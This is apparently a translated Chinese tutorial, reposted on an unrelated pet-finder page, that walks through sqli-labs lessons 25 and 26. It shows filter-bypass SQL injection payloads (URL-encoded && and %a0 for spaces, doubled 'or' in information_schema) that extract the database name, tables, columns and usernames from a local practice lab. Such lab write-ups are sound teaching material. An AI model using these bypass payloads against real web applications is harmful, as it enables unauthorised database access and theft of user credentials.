search
尋找貓咪~QQ 地點 桃園市桃園區 Taoyuan , Taoyuan

如何手動繞過SQL注入過濾器?(一)

在前面的文章中(傳送門),你應該已經學會了一些關於SQL注入的基本概念,但是在有些情況下,你會發現這些知識竟然不管用了,這是為什麼呢?原因就在於開發者採取了一些防止SQL注入的措施。有時,開發者會使用過濾器對用戶輸入做一些處理,具體來說就是在用戶輸入被添加到SQL查詢語句中之前,將其中的一些字母和操作符剔除,以此來防止SQL注入攻擊。本篇文章會幫助你應對此類情況,並教你如何繞過這種過濾器。我們使用的仍然是Dhakkan平台。

LESSON 25

本節中,函數OR和AND被過濾掉了,為此,我們要使用它們的替代品來繞過該過濾器。

function blacklist($id)

$id=preg_replace('/OR/i',"",$id); //strip out OR (non case sensitive)

$id=preg_replace('/AND/i',"",$id); //strip out AND (non case sensitive)

AND: && %26%26

OR: ||

由於OR,AND被列入黑名單,因此當使用AND 1=1或OR 1=1時就得不到想要的結果了,所以這裡換用了 %26%26 。

打開瀏覽器,輸入http://localhost:81/sqli/Less-25/?id=1' %26%26 1=1 --+。(註:具體以個人配置為準)

由上圖可以看出,我們使用URL編碼 %26%26 成功地解決了AND(&&)被過濾掉的問題。

如果你已經明白了上面的繞過AND過濾器的方法,那麼請接著往下看,接下來我們會對該SQL查詢語句做一點小小的改動以獲取資料庫信息。

http://localhost:81/sqli/Less-25/?id=-1' union select 1,2,3 %26%26 1=1 --+

由上圖可以看出,顯示的是第一列和第二列。

先使用聯合注入獲取資料庫名:

http://localhost:81/sqli/Less-25/?id=-1' union select 1,database,3 %26%26 1=1 --+

由上圖可以看出,資料庫名為'security'。

下一條查詢來看看資料庫中有哪些表:

http://localhost:81/sqli/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database %26%26 1=1 --+

由上圖可以看出,當前的表名有:

T1: emails

T2: referers

T3: uagents

T4: users

接著來試找出表users的列名有哪些,使用以下查詢:

http://localhost:81/sqli/Less-25/?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users' %26%26 1=1 --+

由上圖可以看出,該表包含了三列,分別是:

C1: id

C2: username

C3: password

在本節的最後,我們使用以下查詢看看錶users中的username都有哪些:

http://localhost:81/sqli/Less-25/?id=-1' union select 1,group_concat(username),3 from users --+

由上圖可以看出,username有Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4。

小結

在第二十五節,我們學習了如何繞過AND和OR過濾器來獲取資料庫中的信息。

本節延續上一節(傳送門)。進入實驗室后,你會發現本次面臨著比上一回更大的挑戰,因為空格、註釋、OR和AND全被過濾掉了。不過,和上一回相同,我們還是通過尋找它們的替代品來繞過該過濾器。

function blacklist($id)

$id=preg_replace('/OR/i',"",$id); //strip out OR (non case sensitive)

$id=preg_replace('/AND/i',"",$id); //strip out AND (non case sensitive)

$id=preg_replace('/[\/\*]/',"",$id); //strip out /*

$id=preg_replace('/[-]/',"",$id); //strip out -

$id=preg_replace('/[#]/',"",$id); //strip out #

$id=preg_replace('/[\s]/',"",$id); //strip out space

$id=preg_replace('/[\/\\\\]/',"",$id); //strip out slashes

Blanks=('%09', '%0A', '%0B', '%0C', '%0D', '%a0')

首先打開瀏覽器,輸入http://localhost:81/sqli/Less-26/?id=1'%a0%26%26'1=1(註:具體以個人配置為準)

由上圖可以看出,使用URL編碼 %a0 我們已經成功地解決了空格的問題。

如果你已經明白了上面的方法,那麼接下來,我們會對SQL查詢語句做一點小小的改動以獲取資料庫信息。

http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,2,3%a0%26%26'1=1

由上圖可以看出,顯示的是第一列和第二列。(註:此圖為譯者所截,原文此處有誤)

還是先獲取資料庫名:

http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,database,3%a0%26%26'1=1

由上圖可以看出,資料庫名為'security'。

接著來看看資料庫中有哪些表:

http://localhost:81/sqli/Less-26/?id=0'%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database%a0%26%26'1=1

小結

在第二十六節,我們學習了如何繞過AND、OR、空格和註釋過濾器來獲取資料庫中的信息。

本文由 看雪翻譯小組 hesir 編譯,來源 Hacking Articles@Raj Chandel

如果你喜歡的話,不要忘記點個贊哦!

熱門閱讀文章:



熱門推薦

本文由 yidianzixun 提供 原文連結

寵物協尋 相信 終究能找到回家的路
寫了7763篇文章,獲得2次喜歡
留言回覆
回覆
精彩推薦